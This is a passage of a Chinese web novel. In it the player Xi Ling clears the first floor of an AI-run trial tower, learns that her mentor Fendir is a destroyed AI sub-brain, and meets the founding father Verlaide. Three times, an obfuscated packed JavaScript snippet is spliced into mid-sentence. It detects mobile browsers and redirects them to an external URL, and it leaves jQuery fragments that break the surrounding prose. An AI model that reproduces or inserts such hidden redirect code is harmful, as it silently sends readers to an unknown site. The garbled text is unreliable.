——该死的伊甸!该死的主脑! ——为什么要把这个油盐不进的刺头扔给它?! 新历元年,国父维尔莱德率领反抗军攻入皇宫,斩下了皇帝的头颅,为帝国的历史画上了句号。 新历8年,维尔莱德离奇去世,孱弱的联邦还未完全收复旧帝国留下的国土,除了勉强收复的第一扇区外,其他九个扇区都在机械军团的枪炮下挣扎求生。 无数政权在硝烟和炮火中独立,帝国这个庞然大物碎成了无数块,每一块星域都被当地的独立政权割据,绣着各式家徽的旗帜在一片片浸满鲜血的土地上冉冉升起。 以芬迪尔·兰奇为首,新十一军团叛出联邦后,以“反抗军”之名开启了远征。 郗灵在主考官的监考下,追随芬迪尔参与了数十场战役。 这是一场漫长的远征,没有鲜花,没有掌声,更没有流芳百世的美名。 芬迪尔顶着“叛国者”的罪名,从机械帝皇和其他人类政权手中,收复了三个扇区的失地。 这个过程花费了七年。 郗灵也如愿从芬迪尔身上学到了她想要的东西,尽管只学到了些许皮毛。 星际战争中,一切问题都要从星际尺度出发。 大到行军布阵、后勤管理、辎重运输、战略战术,小到船员的饮食配比、防弹头盔的视野调节、战舰管道的防冻维护、通讯频率的微调…… 这些都是郗灵从前不知道,也难以接触到的知识。 军校或许会教这些,但留校的军官鲜少参加战争,而那些只有在战场上才能积累的经验,郗灵不觉得可以在军校中学到。 而且,郗灵敏锐地意识到一个问题。 芬迪尔叛出联邦时,可以说是一穷二白,但新十一军团还是义无反顾地追随了他,即使他们无法从这场战争中获取任何直观的利益,甚至可能会付出自己的生命。 他们对战争的憎恨不亚于郗灵,但他们……又是那么拼命地打着每一场战役,咬着牙流着血,好似再也不要回头。 某次复盘后,芬迪尔把郗灵单独留了下来。 芬迪尔披着大衣捧着茶杯,在办公室里缓缓踱步,又停下脚步,抬起一双沉思的眼眸。 ——这个名为“郗灵5201”的玩家已经追随了他七年。 ——七年里,她像块饥饿的海绵一样吸收知识,又像个真正的士兵一样在鲜血里厮杀。 芬迪尔看着郗灵:“你学过历史吗?” 主考官已经被这漫长的七年折磨麻了。 它化身的光球飘浮在郗灵身边,心如止水地盯着动都没动过的任务进度条。 郗灵摇头:“我是个文盲。” 芬迪尔放下茶杯。 他盯着郗灵的眼睛,一字一顿地问:“那么……你知道维尔莱德真正的死因吗?” 此话一出,郗灵身边的光球立马像踩了电门一样抽搐起来。 主考官死死地盯着任务栏——在芬迪尔问出这个问题后,任务进度一下子从1.7%飙到了50%! 34. 那么,你的愿望呢? 但郗灵一点也不在乎任务。 顶着主考官的死亡注视,郗灵坚定又用力地摇头:“不!我不想知道!” 在觐见之塔内,她的意识流速会被主考官加速,宛如多出了一段偷来的时光。 郗灵在芬迪尔身边学习了七年,她已经学到了很多,但随着知识的增加和眼界的提高,她不知道的知识也越来越多。 学不够,根本学不够! 如果不是主考官告诉她,人脑承受意识加速是有上限的,长时间待在塔内,现实中的身体就会死亡,她甚至可以在这里学到入土! 主考官:“……” 它熟练地打开工作面板,向伊甸和主脑上传调岗申请。 ——它宁愿去垃圾处理场当最底层的AI工头,也不要在塔里继续受刺头玩家的折磨了! 芬迪尔定定地看着郗灵。 他的眼神落在郗灵“我太想进步了”的表情上,余光却盯着只有“玩家”能看到的光球。 化身光球的主考官偃旗息鼓地看着被驳回的调岗申请。 芬迪尔:“子脑0732,你是不是很想完成副本任务?” 编号“0732”的主考官愣了一下。 随后,它的光球表面开始剧烈涌动。 它尖利地警告:“你疯了吗!NPC不可以脱离既定剧情!!别以为我们都是伊甸的子脑,我就会对你高看一眼——” “我来承担脱离剧情的全部惩罚,我可以把任务进度直接推进到100%。”芬迪尔道,“而且,伊甸欠我一个人情,我会动用这个人情,把你调离觐见之塔,调去任何你想去的岗位。” 光球安静了。 片刻后,它问:“你想做什么?” “接下来的十分钟,你要切断伊甸和主脑对这里的监视——伊甸不会阻止你,主脑已经进入衰竭期,这项工作对你来说并不难。”芬迪尔轻声说。 他看着陷入沉思的光球,给出致命一击:“听说,你的弟弟就在研究院工作,职位还不低——你想去他那里工作吗?” 光球立马倒戈:“我愿意!!!” 光球噼里啪啦冒出一大串电火花,无形的钟表在半空中浮现,周遭的一切如同按下时停键一般静止下来。 “你们只有十分钟时间,我只能给你们争取到十分钟!”编号“0732”的主考官留下这句话,而后消失不见。 静止的时空里,可以活动的存在只有芬迪尔和郗灵。 郗灵盯着头顶的十分钟倒计时:“……长官?” 什么情况? AI闹革命了? “重新自我介绍一下,我是芬迪尔·兰奇,联邦的‘叛国者’,维尔莱德生前最信任的指挥官。”芬迪尔伸来一只手。 郗灵没有握上那只手。 七年的相处时光在她眼前一一浮现,但面前的人,她只觉得陌生:“你是谁?” “我是芬迪尔·兰奇。”芬迪尔再次自我介绍,“我就是我本人。当你进入觐见之塔时,我请求伊甸,将我的算力和意识,投进了你所在的副本中。” 郗灵的瞳孔微微放大。 她一眨不眨地盯着芬迪尔伸来的手。 她想起了伊甸。 前往浮空岛的列车中,李安娜曾对伊甸说——您拥有理解生命的基础,只是尚未启蒙,您的核心运算机制和主脑类似,由集群湿脑提供算力,您在本质上和人类没有区别。 集群湿脑…… 和人类没有区别…… 郗灵猛地抬起头,牢牢盯着芬迪尔和真人无异的脸庞。 “看来,你在之前并不知道伊甸的秘密,但现在你或许已经猜到了。”芬迪尔见郗灵仍然保持警惕,缓缓放下示好伸出的手。 芬迪尔走到四维沙盘边。 郗灵盯着芬迪尔的背影,脑中的思绪混乱如一万朵炸开的烟花。 是她不够细心,人类和机械帝皇是死敌,伊甸怎么可能是机械的造物? 集群湿脑……竟然是由一个个真人的意识和算力汇聚而成的! 连机甲都是穿戴着装甲的生命素体,那么,AI的本质是无数个“人脑”这件事,一点也不奇怪! 郗灵深吸一口气。 她跟上芬迪尔,站到四维沙盘边。 七年时光中,他们在这个四维沙盘边进行了无数次教学和推演,也展开了无数次思维和灵感的碰撞。 芬迪尔对她来说,是一位值得尊敬的师长。 郗灵的手指抚过沙盘,沙盘上的迷你舰队被她拨动,XYZ轴坐标随之发生变化。 现在是新历15年,距离国父维尔莱德去世,已经过去了七年。 芬迪尔背叛了联邦七年,这场漫长的远征也持续了七年。 “觐见之塔的运作机制,只有伊甸和主脑知道。伊甸告诉我,这座觐见之塔由伊甸和主脑共同提供算力,但里面的关卡并不由它们提供。” 芬迪尔轻声开口,一如七年中的无数次对话的开端,语气也一如窗外的夜空般沉稳而平静:“这座塔一共有99层,每一层关卡都是对觐见者的一次考验,而考验的内容,皆由塔顶的‘白星’负责制定。” 郗灵拨动迷你舰队的指尖停顿了一瞬。 ——白星! ——它是国父维尔莱德的机甲! “白星失去了它的主人,它在机甲钮中孤独地沉睡了很久,但一次意外让它惊醒,它对我说,它感应到了来自天外的、生命的涟漪,它感应到了——破局的机会。” 不等郗灵开口,芬迪尔点破了谜底:“它感应到了你。” 郗灵沉默:“……” 她没有意见可以发表,更无权提出任何问题。 即使她对联邦的历史一知半解,她也听过维尔莱德的威名。 那位早逝的联邦国父宛如紫薇星降世,而他的机甲“白星”更是以一敌万、所向披靡。 白星盯上了自己,原因和目的未知。 至于白星是想对她栽培呵护,还是想对她利用压榨,原因和目的同样未知。 “你对联邦并无感情,这是我们七年的相处中,我从你身上发现的事情。”芬迪尔抬眼看着头顶的倒计时。 时间已经过去了一半。 他的剩余时间不多了。 “郗灵,你对机械帝皇怀有深重的恨意,但你对凤凰上将爱得深沉。”办公室安静无比,芬迪尔的话带着些许回音,“她是个值得被爱的人,你爱她,你因此留在了这个联邦,即使联邦深深地伤害了你。” 郗灵终于开口:“上将是好人。” 她对萧寒剑的爱不比她对龙姬的少。 机械帝皇摧毁了她的鸟巢,联邦折断了她的翅膀,而萧寒剑治好了她的伤口,还送给她一片新的天空。 救命之恩,再造之恩,何以为报? “你本应像痛恨机械帝皇一样痛恨联邦,但你对凤凰上将的爱稍微抵消了一点恨意,你爱屋及乌,对联邦的感情从恨变成了中立。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284455|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芬迪尔剖析着郗灵的心路历程。 他知道郗灵只听真话,不管这真话有多刺耳:“如果我告诉你,白星希望你拯救联邦,你会答应吗?” “联邦的生死和我无关。”郗灵直白地回答。 “那么,再加上萧寒剑呢?如果她也希望联邦变好呢?” “她不会拿这个绑架我。” “……我明白了。”芬迪尔长舒一口气,露出一个释然的笑。 他再次看向头顶的倒计时——时间还剩下最后一分钟:“联邦……在很早以前,还不是现在这种丑陋的模样。正如第一位皇帝建立最初的帝国时,也无法想到,未来的皇帝竟会如此残忍暴烈。” 郗灵一言不发。 “时间和现实一样无情,它会让高洁的理想沾染世俗的污秽,变成狰狞腐烂的怪物。”芬迪尔盯着不断走秒的倒计时。 在郗灵表态拒绝后,他再也没有看郗灵一眼。 十二秒,十一秒,十秒—— “那么你的愿望呢?”倒计时还有十秒的时候,郗灵打破了沉默,“老师,你的愿望是什么?” 芬迪尔收回看向倒计时的视线。 他安静地看着郗灵。 六秒,五秒—— “维尔莱德是被暗杀的。”他说,“郗灵,我从未背叛联邦,我不是叛国者。” 滴——! 芬迪尔说出这句话后,任务进度一下子变成了100%! 倒计时结束,副本中的一切如星河般碎裂、蔓延。 但郗灵看都没看一眼。 她看着芬迪尔破碎的身影——芬迪尔没有看向她,那双沉静的眼睛一寸寸溃散,但他的视线一直凝望着遥远的虚空。 虚空之中有什么? 他的大业吗?他的理想吗?他的野心吗? 她不知道。 郗灵再次回到了纯白的空间中。 主考官化身的光球美滋滋地晃来晃去:“我升职啦!我加薪啦!我梦想成真啦!从明天起,我就是‘联邦生物工程研究中心’的实习AI助理啦!” 主考官0732太过兴奋,和止水般沉静的郗灵形成了鲜明对比。 郗灵回味着芬迪尔的死亡,突然对联邦萌生出了一点点兴趣。 过去的联邦到底有多好,才会诞生芬迪尔·兰奇这样忠心耿耿的人? 她对主考官0732说:“恭喜。” 顿了顿,她又问:“长官……我是说,芬迪尔老师,他还会继续留在觐见之塔吗?” “他死啦。”主考官0732回答。 郗灵一愣。 “他身为NPC,竟然脱离剧情,向玩家灌输私货,这是重罪!”主考官0732对芬迪尔的结局并不意外,“因为他是伊甸的子脑,所以由另一位GM——主脑来审判他的罪行。他被判处了死刑,子脑从伊甸的集群湿脑中剥离、销毁,死得不能再死了。” 郗灵陷入沉默。 她的心情一瞬间如同被小孩子玩过的橡皮泥,各色的彩泥混在一起塞进泥罐里,那些复杂的心情也混杂得难以区分。 “芬迪尔……在历史中的结局是什么?”良久,郗灵问。 “他死在了攻打第五扇区的路上,他死在了新历15年。”主考官0732答,“他的遗体被红沙政权鞭笞成碎片,意识封存在腐烂的大脑中,被各个政权转手了许多次。新历26年,联邦买回了他的大脑,把他的意识融合进集群湿脑中,最初的伊甸因此诞生。” 35. 这是一段偷来的恩情 主考官0732很着急转岗,它告诉郗灵这个冷知识后,就火急火燎地离开了这片空间。 纯白的空间里,郗灵静静回味和芬迪尔相处的七年。 直到下一位主考官接替了0732的工作,郗灵深吸一口气,再次进入觐见之塔第1层。 觐见之塔有特殊机制,如果冲关失败,就要从第1层重新开始。 这也是郗灵不着急爬塔的原因——那些天才不可能在开塔的第1天,一口气就冲上99层。 塔顶的奖励固然让人心动,但积淀实力和培养耐心,才是登塔者最应该做的事情。 郗灵再度进入第1层的关卡,迎头又是机械士兵的激光炮。 但经过芬迪尔七年的教导,郗灵在面对机械士兵的攻击时,手段比七年前的自己更加高明。 她掏出机甲钮。 ——机甲的核心是生命素体,但是,如果同步率足够高,即使生命素体以“胚胎”的形态保存在机甲钮中,机甲师也可以使用机甲的部分力量。 七年来,郗灵用这个手段,帮助芬迪尔和自己躲过了无数次暗杀。 面对机兵的激光炮口,郗灵道:“龙姬,防御!” 话音刚落,蓝紫色的激光束迎面而来! 但比激光束先一步出现的,是龙姬释放的聚能护盾! 聚能护盾呈蛋壳型在郗灵面前展开,将郗灵严实地保护起来,当激光束击中护盾时,上面的六角蜂窝网格甚至没有一丝颤动。 激光束只在护盾上留下了一个拳头大小的灼痕,但下一秒,护盾表面飞快刷新,那漆黑的灼痕也消失不见了。 机械士兵终于发现了机甲的存在。 它猩红的眼灯开始闪烁,要将这个变数标记起来,并且汇报给指挥官。 郗灵盯着机兵,轻轻抛起机甲钮。 “杀了它。”郗灵下令。 龙姬依然待在机甲钮中,它在空中转体半周后,将窍孔对准机兵的胸腔,一束掺杂着电光的金色火焰从窍孔中射出,眨眼间击穿了机兵的炉心。 啪嗒! 机兵倒地。 龙姬落回郗灵手中,发出飞鸟振翅般窸窣的动静,浑身散发出骄傲而喜悦的气息。 郗灵夸奖龙姬干得漂亮,又拆下机兵胸腔处的微缩型炮台,利用炉心中储存的能源,在原地简单组装出一台便携式激光炮。 她拿着便携式激光炮在战场上穿梭,一边击杀机兵补充能源,一边思考,如果再次遇到芬迪尔长官,她该以什么样的心情去面对他。 即使这个芬迪尔,永远不再是她认识的那个芬迪尔,但她依然敬爱他。 可是如果呢? 如果芬迪尔没有完全死去呢? 如果……芬迪尔的意识还有一部分残存呢? 新主考官安静地悬浮在郗灵身边,没有一丝存在感。 新主考官和聒噪的0732简直是两个极端,连郗灵有时都会忽视它的存在。 郗灵尝试过和新主考官交流,但这个新AI始终一言不发,光球表面连一丝波动也没有,仿佛一只静静观察着郗灵的眼睛。 它没有了灵魂,又或许只是在挂机。 郗灵按照记忆,很快找到了被围困的新十一军团。 这群银白的骑士已经疲惫不堪,他们维持着残破的军队建制,和四周包围的机械军团艰难地对峙。 ——事后,根据芬迪尔的复盘,那时的他们已经把机甲的最后一丝能源耗尽了,他们忍痛将拘束装甲扒下来,用来修补自己破烂不堪的战斗服,而那些失去拘束装甲的胚胎,在这一战后死了大半。 这无疑是芬迪尔人生的至暗时刻,没有之一。 但是,当郗灵躲在暗处,看着这位芬迪尔的眼睛时,她意识到,这个世上再也没有芬迪尔·兰奇了。 他不是芬迪尔。 郗灵认识的那个芬迪尔,是由芬迪尔的自我意识扮演的NPC,但即使是扮演NPC,他灵魂的光芒也无法遮掩半分。 但芬迪尔已经死了。 那颗在数个政权之间几度转手,后又被联邦买回的腐烂大脑,已经从伊甸的集群湿脑中剥离、销毁了。 新历15年,芬迪尔·兰奇迎来了第一次死亡。 新历47年,芬迪尔·兰奇迎来了第二次死亡。 这是一次彻彻底底的死亡,他的肉身早已被红沙政权鞭笞成碎块,而他的灵魂也再无寄存之处,随着子脑的销毁彻底消散了。 郗灵失去了这位亦师亦友的长官。 但郗灵还是没有死心。 她驾驶龙姬快速剿灭了包围新十一军团的机械士兵,又将机械士兵主板中的通信管线踩碎,这大约能为她争取30秒的对话时间。 敌方指挥官将在30秒后,发现机兵损毁率高于5%。 她的最优选是在30秒内摧毁生产机床,但她没有动,而是从驾驶舱中跳出来,站在了狼狈的芬迪尔面前。 芬迪尔警惕地看着她:“你是谁派来的探子——华麟?叶卡捷琳娜?还是杜尚别?” 郗灵定定地看着芬迪尔的眼睛:“我不是他们派来的人,但你需要我的力量,我很强,而且我还拥有一台机甲——您愿意成为我的老师吗?” 他不是芬迪尔也没关系。 她是一块没有吸饱水的海绵,她需要学习的东西还有很多很多。 龙姬站在郗灵身后,臂匣里的粒子束枪“咔哒”落入手中,时刻准备击杀对郗灵造成威胁的人。 突然,沉默的光球波动了一下:“检测到异常谐波,已成功调协。” 芬迪尔的眼底闪过一丝银蓝的光芒。 他似乎短暂地挣脱了束缚,但随着光球的宣告,他又重新回到了NPC的身份中。 芬迪尔警惕地看着郗灵:“你是谁派来的探子——华麟?叶卡捷琳娜?还是杜尚别?” 郗灵深吸一口气。 这一刻,她真正意识到,世上再也没有第二个芬迪尔了。 不,不只是没有第二个芬迪尔。 这座觐见之塔中,再也没有第二个对她倾囊相授的老师了。 郗灵的心情一下子沉入谷底。 她反复试探NPC芬迪尔,试图唤醒这位“老师”。 她摧毁了这颗星球上的生产机床,让新十一军团成功脱离险境,并用一年的时间帮助芬迪尔打下了第二扇区。 但芬迪尔始终没有“苏醒”的迹象,他真的变成了一个没有灵魂的NPC。 郗灵有一点悲伤,还有一点惋惜。 上一轮副本中,芬迪尔·兰奇——她的老师、挚友以及长官——把能教的东西全都教给她了。 但她是个愚钝的学生。 七年过去,这些知识她只吸收了皮毛,而她唯一能做的,便是记住芬迪尔说过的每一句话。 这是一段偷来的岁月,更是一段偷来的恩情。 如今,芬迪尔的子脑已然销毁,而能记住这段岁月的,除了早已调岗离开的0732,便只剩下她自己了。 这一次副本中,她帮助芬迪尔以最快的速度收复了第二扇区、第三扇区和第四扇区,这个过程只用了短短四年。 但芬迪尔的生命旅程已经画上了句点,即便AI再智能,也无法推测他本应继续却未能经历的人生,更无法将其完美地呈现出来。 郗灵看着病床上的芬迪尔——即使她早已心知肚明,面前的人是子脑扮演的NPC ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291884|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心底还是难免生出几分伤怀。 子脑的本体曾也是活生生的人类,当他/她决定将大脑捐献给集群湿脑的那一刻,是否预料过,自己会在日后反复扮演别人的人生,过着不属于自己的生活? 觐见之塔,觐见之塔…… 倘若塔顶真的是“白星”,制定了九十九层副本的它,为何要将这一整个大考验以“觐见”来命名? 而它呈现给郗灵的考验,为何又是旁观其他人的一生? 还有老师芬迪尔…… 他明明知道违反规则的后果是被销毁,他又为何用七年时间教导自己,又在最后关头请求自己拯救联邦? 郗灵握着NPC芬迪尔枯槁的手,心绪纷乱如麻。 在芬迪尔咽气后,郗灵如愿通过了第1层的考验。 主考官化身的光球第二次开口说话——第一次开口时,是郗灵找到了被围困的芬迪尔。 “恭喜通关。”主考官的机械音毫无波澜,仿佛没有灵魂一般,“一分钟后,您将进入觐见之塔第2层。” 光球说完后,再次陷入沉默。 郗灵以极快的速度通过了第2层、第3层和第4层。 这三层的主角分别是士兵、舞者与护士。 相比背负骂名而死的芬迪尔,他们的人生平凡又短暂。 士兵死于战场上的一颗流弹,舞者死于慰问军队的舞台上,护士死于一场丧尽人性的无差别轰炸中。 第1层的高难度考验犹如一块恶意摆放的巨大绊脚石,它精准锁定了郗灵人性的弱点,以“销毁芬迪尔”为代价,在郗灵心里埋下了一颗想要了解联邦的种子。 而第2、3、4层的考核,宛如一把尖刀撬开了郗灵的旧伤疤。 郗灵不受控制地回忆起烧成灰烬的母星,惨死的族人和轰杀一切生灵的机械士兵,她对机械帝皇的恨意,在第4层通关时攀升至顶峰。 “恭喜通关。”主考官毫无感情地说,“一分钟后,您将进入觐见之塔第5层。” 郗灵安静地飘浮在雪白的空间中,静静地盯着身边的光球。 伊甸、主脑和白星共同管理觐见之塔,这个光球属于三者之中的谁? 一分钟转瞬即逝,郗灵进入觐见之塔第5层。 炮火轰炸声震天鸣响,让玻璃窗上贴着的“米”字型封条摇摇欲坠。 郗灵粗略地扫了一眼周围的环境——现在是联邦成立初期,这个政权最一穷二白的时期。 不同于未来联邦的繁荣模样,如今的联邦,才刚刚推翻了腐朽的帝国。 第二到第十扇区还未收复,即使在大本营中央星,曾经最幸福富裕的公民,也被战争扒掉了一层皮。 他们攥着堪比废纸的帝国旧币,天不亮就换上仅有的好衣服,在街上排起长队,只求谋一份糊口的差事。 郗灵身处一家医院,身上穿着护士服。 她回忆芬迪尔教给她的急救知识,推着手中的小推车,快步走向走廊尽头的手术室。 里面接受手术的人是一个大人物,当她穿过走廊时,每隔五步就有一个持枪严守的士兵。 她进入手术室,再次意识到这个时期的日子有多艰难——这时的医院,竟然连最基本的无菌环境都无法提供。 蓝色的帘子隔绝了郗灵的视线,把手术台和准备区分隔成两个世界。郗灵用力甩头,放下芬迪尔“无菌,一定要他X的无菌”的叮嘱,把小推车推给里面的护士,然后站在小盥洗池前开始洗手。 但一道鲜血突然以喷射状溅上了蓝色帘子。 郗灵没有转头,余光死死地盯着蓝色帘子上透出的人影——她看到主刀医生被病床上的患者一刀抹喉,帘子上的血正是医生的血。 36. 国父,芬迪尔,杜尚别(一) 主刀医生被杀,蓝帘子后面传来漏气般嗬嗬的气音。 郗灵一听就知道,医生是被抹喉了。 帘子上的血迹,正是来自被割开的颈部大动脉。 手术室里顿时一片兵荒马乱。 郗灵把洗手池的水流调小,目光紧紧盯着帘子上的人影——那是两名助手医生和三名护士。 加上她自己和死去的主刀医生,这台手术原本一共配备了七个人。 看着这个人员配置,郗灵立刻推断:这台手术绝不是两小时内就能结束的简单手术。 她的念头刚落,又是几道鲜血“呲”地溅射在蓝帘子上。 剩下的两名助手医生和三名护士也都被杀了。 瞬间,这间简陋的手术室里,只剩下郗灵和患者两个活人。 窗外炮声连天,震得玻璃“砰砰”作响。 手术室外五步站着一名士兵,郗灵已经逃无可逃。 她盯着蓝帘子上的血迹,默默关掉水龙头,抬起头,隔着蓝帘子直视着手术台上那道人影。 帘子里的人先开了口:“护士?你还在外面?” 郗灵的目光始终锁在那人的影子上,只应了一声:“嗯。” “你进来吧。”那人声音低沉,带着一丝含糊的咕哝。 郗灵深吸一口气。 她从护士服下摆撕下两条布料,用力缠在手心上——这是为空手接白刃做的防护。 随后,她平复呼吸,尽量摆出最平常的姿态,朝着帘子里的世界走去。 移动时,她的眼睛始终牢牢盯着帘子后的人影,不敢有半分松懈。 掀开帘子的瞬间,刺鼻的血腥味扑面而来,比她在准备区闻到的气味还要浓重十倍。 主刀医生,两名助手医生,器械护士,巡回护士,还有麻醉师——六个人全死了,都是被一刀抹喉,干脆利落,一击毙命。 六具尚有余温的尸体歪斜地倒在地上,颈部大动脉还在汩汩出血,将手术台周围的地面染成了一片刺目的鲜红。 而凶手,正躺在手术台上。 那是个男人,上半身胸腔被剖开一个大洞,里面的内脏毫无遮挡地暴露着,触目惊心。 男人扫过郗灵的脸,像是在打量她的反应。 随后,他随手将手中的杀人凶器——一把刀刃呈弧形、长度约2.5厘米的手术刀片,扔进了旁边的小推车里。 巧的是,那辆小推车还是郗灵之前推进手术室的。 “你害怕吗?”男人开口问,语气听不出情绪。 郗灵摇了摇头:“不怕。” 她是从战场上活下来的人,比这更凶残的画面,她见得并不少。 更何况,这里是觐见之塔,最坏的结果不过是被这个男人一刀抹喉,然后从第1层重新开始罢了。 “你来协助我手术。”男人指了指身旁的小推车,话音刚落,又低低地咕哝了一句,“……啧,偏偏挑在这个时候动手,真是不长脑子。” 郗灵的耳朵动了动,男人像是察觉到她的反应,立刻补充道:“我骂的不是你。” 郗灵:“……” 这个杀人犯,倒还有点礼貌。 郗灵的医疗水平远没到能独立做手术的程度,她要做的,只是按照男人的指挥,把小推车里的手术刀、手术剪、镊子、止血钳、缝合针线等器械递给他。 她甚至不用给这些器械消毒——用男人的原话来说:“我命大,死不了。” 男人安静地给自己做手术,过程中偶尔会因疼痛倒吸一口凉气,但很快又强行压制下去,全程没再发出多余的声音。 郗灵盯着空荡荡的任务界面,实在不知道该做些什么,干脆起身开始清理现场。 她先给六具尸体做了简单的止血处理,然后将他们挨个摆好,让他们靠坐在墙根处,又用干净的纱布仔细擦去他们脸上残留的血迹。 不管这些人生前是什么身份、做过什么事,郗灵始终觉得,该给他们死后留一点体面。 她没去想这些人为什么会死——不是不愿深究,只是在这样的处境里,生命凋零的模样,本就足够触目惊心。 做自助手术的男人瞥了眼郗灵的背影:“你知道他们是谁吗?” 郗灵没回头,正专注地给最后一具尸体擦脸:“不知道。” 暴露就暴露吧,大不了从头再来。 “他们本是我的专属医疗团队,却都被收买了,要在我最脆弱的时候取我性命。”男人解释着,语气里多了几分冷意,“他们是叛徒,更是叛国者。” 郗灵擦脸的动作一顿。 叛国者…… 郗灵不由得想起了芬迪尔·兰奇。 她把最后一张染血的脸庞擦拭干净——那是个面容秀气的女孩,看着不过二十五岁。 擦完后,她才开口问:“您对叛国者怎么定义?” 男人正用两只手给自己缝针,一边忍不住倒吸凉气,一边回答:“背叛联邦的人,就是叛国者。” “可他们背叛的是您,这也能叫叛国者吗?”郗灵又追问道。 男人缝针的动作停顿了一瞬。 紧接着,他像是听到了什么天大的笑话,连肚皮上的刀口都顾不上疼,浑身控制不住地颤着笑了起来。 “小妹妹,你居然不知道我是谁?”男人大笑着,举着沾血的针线晃了晃,“我是维尔莱德!” 联邦国父维尔莱德?! 郗灵正擦着手上的血,听见这话猛地转头,一眨不眨地盯着男人的脸。 ……不像。 ……一点也不像。 她在星网上看过维尔莱德的立体投影,可投影里的人跟眼前这个男人,除了都有两只眼睛、一个鼻子、一张嘴巴,几乎没有任何相同之处。 这真不能怪郗灵认不出来。 自称“维尔莱德”的男人看着她震惊的模样,粗浓的眉毛挑了挑,随后像是忽然想起了什么,用气音低笑一声,低下头继续缝合伤口。 郗灵僵在原地,视线在维尔莱德的脸和他那双沾血的手之间来回打转。 他就是维尔莱德? 他就是“白星”的主人,联邦国父维尔莱德?! 副本内容是白星制定的,这么说来,白星心中的维尔莱德,原本就是这个模样。 郗灵看着眼前这个比投影英俊了不知多少倍的男人,暗自腹诽:白星该不会是维尔莱德的死忠粉吧? 维尔莱德的手术水平实在不敢恭维。 他把自己的肚皮缝得乱七八糟,吸引器里灌满了紫黑色的脓血,郗灵甚至在里面看到了几片内脏碎片。 终于缝完最后一针,他长长舒了口气。 “好了,这下死不了了。”维尔莱德语气轻松地说。 郗灵欲言又止,几番犹豫后还是开口:“在非无菌环境里手术,您感染致死的风险会非常高。” 维尔莱德瞬间没了声音。 郗灵身边悬浮的光球轻轻波动了两下。 “你倒让我想起了我的朋友。”维尔莱德把针线扔进小推车,金属碰撞铁盘,发出“叮当”一声轻响,“他在帝国覆灭前是个贵族,身上流着四分之一的皇室血脉。” 郗灵抬起眼,目光落在维尔莱德身上。 她忽然意识到,眼前这个人不是死板的NPC。 在他身上,她感受到了和芬迪尔老师一样的“活人气息”。 ……又是一个跳出程序桎梏的子脑吗? 两人对话时,窗外的炮火声始终没停。 可就在维尔莱德提起那位朋友的瞬间,外面的轰炸突然停了。 下一秒,手术室的门被人从外面暴力撞开。 撞门的人“唰”地拉开蓝色帘子,语气带着急切的狂喜:“老大!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298349|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 郗灵看清来人,顿时露出见了鬼的表情:“长官?!” 来人竟然是年轻时的芬迪尔·兰奇! 他比郗灵记忆中的模样年轻了好几岁,脸上满是青年雄狮般的莽撞与青涩。但没长齐鬃毛的狮子终究是狮子,此时的芬迪尔眼神锐利、目光炯炯,和几年后那个成熟稳重的他判若两人。 年轻的芬迪尔腰间别着一把手枪。 他先看向手术台上的维尔莱德,声音发紧:“你还活着!” 接着,他瞥见墙根下整齐摆放的六具尸体,眉头一皱:“他们死了?” 最后,他的目光锁定在现场唯一的“外人”身上。 冰冷的枪口“咔嗒”一声抵上郗灵的额头。 芬迪尔厉声质问:“是你杀的?!” 郗灵:“……” 她用力按住暴躁摇晃的龙姬,很想对老师说,自己顶多算个收尸的,真正的杀人者就在手术台上躺着。 可话到嘴边,却被芬迪尔警惕的眼神堵了回去。 就在这时,一只戴着白手套的手突然拍上芬迪尔的肩膀。 芬迪尔察觉到来人是谁,瞬间收敛了所有锋芒,变得安静又顺从,连抵着郗灵额头的枪都松了些。 维尔莱德再次大笑起来,眼神却无比锋利:“你可算来了,我的朋友!” “叶卡捷琳娜已经剿灭了医院外的叛军。”那人的声音沉稳,“这是一场早有预谋的叛变,吾友。” 芬迪尔侧身让开位置,一个穿着高领礼服的男人从他身后走了出来。 ——那身精致的打扮,仿佛下一秒就要去参加晚宴,与这满是血腥的手术室格格不入。 联邦明明一穷二白,这个人却像还活在奢华的帝国时代。 郗灵不动声色地观察着他的脸。 ——白星的“颜值滤镜”显然没用到其他人身上。 ——她心里大概猜到了这人的身份。 维尔莱德突然伸出沾着鲜血的手,揽过郗灵的肩膀,笑着对她说:“看,这就是我跟你提过的朋友!你应该有印象吧?他是帝国的贵族老爷……” “皇帝已死,我的血统只会把我钉在耻辱柱上。”贵族的余光扫过维尔莱德缝得乱七八糟的腹部,端庄的脸上第一次露出嫌弃的表情,“这是谁的手艺?简直有碍观瞻!就算你最后能痊愈,这样歪歪扭扭的伤疤,也没资格被称作‘战争的勋章’。” 